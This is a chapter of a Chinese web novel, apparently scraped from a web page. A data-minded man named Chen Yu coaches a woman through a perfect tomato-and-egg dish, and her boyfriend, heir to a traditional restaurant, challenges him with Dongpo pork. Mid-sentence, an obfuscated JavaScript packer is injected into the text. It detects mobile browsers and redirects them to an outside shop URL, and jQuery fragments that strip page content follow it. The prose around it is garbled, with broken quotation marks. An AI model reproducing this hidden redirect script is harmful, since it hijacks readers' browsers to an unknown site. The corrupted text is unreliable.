当那盘色泽金黄、红润油亮，散发着浓郁香气的番茄炒蛋，被端上餐桌时。


    钱嫚嫚看着自己的“作品”，激动得眼眶都红了。


    她拿起筷子，夹起一小块，颤巍巍地放进嘴里。


    那一瞬间，她的味蕾**了。


    鸡蛋，嫩得像豆腐脑，入口即化，同时，又带着浓郁的蛋香和一丝丝奶味。


    番茄，酸甜可口，汁水丰盈，既有炒熟后的软糯，又保留了一丝生番茄的清新。


    那味道，和谐平衡，简单，却又该死的好吃！


    比她吃过的任何一家五星级酒店的番茄炒蛋，都好吃！


    “我……我做出来了？”她不敢相信地，看着陈宇。


    “不，不是你做出来了。”


    陈宇纠正道：“是这套科学流程，保证了它的成功。只要你严格遵守，你每次，都能做出来。”


    就在这时，别墅的门铃响了。


    钱总一脸喜色地去开门：“哎呀！是小苏来了！快进来，快进来！”


    一个身材挺拔、气质儒雅的年轻男人，提着一个精致的食盒，走了进来。


    他，正是钱嫚嫚的男朋友，苏哲。


    而他一进门，就看到了餐桌上那盘堪称完美的番茄炒蛋，以及站在厨房里、气质独特的陈宇。


    苏哲的出身，让他对“厨房”有着一种近乎本能的敏感。


    他家的“苏氏菜馆”，是京城硕果仅存的几家百年老字号之一，以一手传承有序的古法淮扬菜闻名。


    他的爷爷，是国宝级的烹饪大师，他自己，也在海外顶级厨艺学院深造过，骨子里，既有对传统的敬畏，也有对现代烹饪的理解。


    他一眼，就看出了餐桌上那盘番茄炒蛋的“不凡”。


    色泽、形态、香气，都达到了专业水准。


    “嫚嫚，这是……你做的？”他有些惊讶，语气里带着一丝审视。


    在他看来，以钱嫚嫚的水平，能把鸡蛋炒熟，就已经是个奇迹了。


    钱嫚嫚还没来得及回答，一旁的钱总，已经开始“火上浇油”了。


    “哈哈，小苏，你来得正好！这可是嫚嫚，在我们陈主任的指导下，第一次做成功的菜！你快尝尝，味道怎么样！”


    他一边说，一边把苏


    哲，引到了陈宇面前。


    “陈主任，这位是嫚嫚的男朋友，苏哲。小苏，这位就是我跟你提过的，我们小区的高人，陈宇陈主任！


    陈宇礼貌地点了点头。


    苏哲的目光，则在陈宇身上停留了片刻。


    眼前的男人，看起来比自己还年轻，身上穿着休闲装，气质沉静，但怎么看，都不像个厨师。


    他更接近于大学里的研究员。


    苏哲的眉头，皱了一下。


    他最反感的，就是那些对烹饪一知半解，却喜欢用一些玄之又玄的理论指导别人的“外行。


    他认为，烹饪，是一门艺术。


    是经验、是手感、是心性的传承，而不是什么冷冰冰的“科学。


    “陈先生，幸会，


    他一边说，一边将目光投向了厨房里的“装备——电子秤，测温枪。


    他的眼神里，闪过一丝了然，和一丝轻蔑。


    他把这种做法，归类为“分子料理的旁门左道。


    在他看来，那是投机取巧，是哗众取宠，是对传统烹饪精神的背叛。


    “谈不上精通。


    陈宇的语气一如既往地平静：“我只是，习惯用数据，来分析和解决问题。


    “数据？苏哲笑了笑，那笑容带着几分傲气，“苏某愚钝。


    “我爷爷教我做菜，只教我，用心去感受火的温度，用手去掂量盐的分量，用鼻子去闻食材的变化。


    “他说，菜是有灵魂的，而不是一堆冷冰冰的数据。


    这番话，说得极有水平。


    既捧了自家的传承，又不动声色地，贬低了陈宇的“科学方法，将其定义为“没有灵魂。


    钱嫚嫚听出了男友话里的“刺，有些不高兴，刚想反驳，却被陈宇用眼神制止了。


    陈宇没有生气，反而觉得，事情变得更有趣了。


    “你说的，有道理。


    陈宇点了点头，表示了赞同：“经验和感觉，在达到一定境界后，确实可以形成一种肌肉记忆式的精准。


    “但那种境界，是**挑一的天赋和数十年如一日的苦练，才


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16899068|180539||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    能达到的。


    他话锋一转，目光变得锐利起来。


    “但对于99.9%的普通人而言，感觉，是最不可靠的东西。


    “它会被情绪、环境，甚至当天的天气所影响。


    “而我做的，只是把那些顶尖大厨，凭感觉才能做到的事情，翻译成了一套任何只要有基础逻辑能力的人，就能看懂并完美执行的流程。


    “你爷爷的心法，是艺术。我的流程，是技术。


    “艺术，用来仰望。而技术，是用来普及和改变世界的。


    这番话，精准而直接，瞬间将苏哲营造出的那种“传承


    苏哲的脸色微变。


    他发现，眼前这个男人，不仅逻辑清晰，而且言辞犀利，完全不是他想象中那种“书呆子。


    “陈先生，倒是好口才。


    苏哲深吸一口气，决定来捍卫自己的领域：“不过，厨艺，终究还是要靠作品说话。


    “纸上谈兵，终究是虚的。


    他打开了自己带来的那个食盒。


    一股醇厚霸道的肉香，弥漫了整个客厅，甚至盖过了番茄炒蛋的香气。


    食盒里，是一碗色泽红亮如玛瑙、形态方正、表皮微微颤动的东坡肉。


    “这是我今早，跟着我爷爷，用古法，烧了四个小时的东坡肉。


    “知道嫚嫚要学做菜，特地带过来，给她做个参考。


    “也请陈先生，品鉴一二。


    这一下，性质就从“口舌之争，升级成了“作品的对决。


    这块东坡肉，就是苏哲下的“战书。


    他要用这碗凝聚了苏家百年传承的完美东坡肉，来告诉所有人，什么才是真正的有“灵魂的料理。


    钱总和钱嫚嫚，都看出了气氛的紧张，一时间不知道该说什么。


    陈宇却笑了。


    他看着那碗已经达到顶级水准的东坡肉，点了点头。


    “看起来，很不错。


    然后，他转向钱嫚嫚，说出了一句，让在场所有人，都差点惊掉下巴的话。


    “嫚嫚，我们的下一个项目，现在开始。


    “项目名称：【三十分钟速成，完美复刻并超越苏氏古法东坡肉】。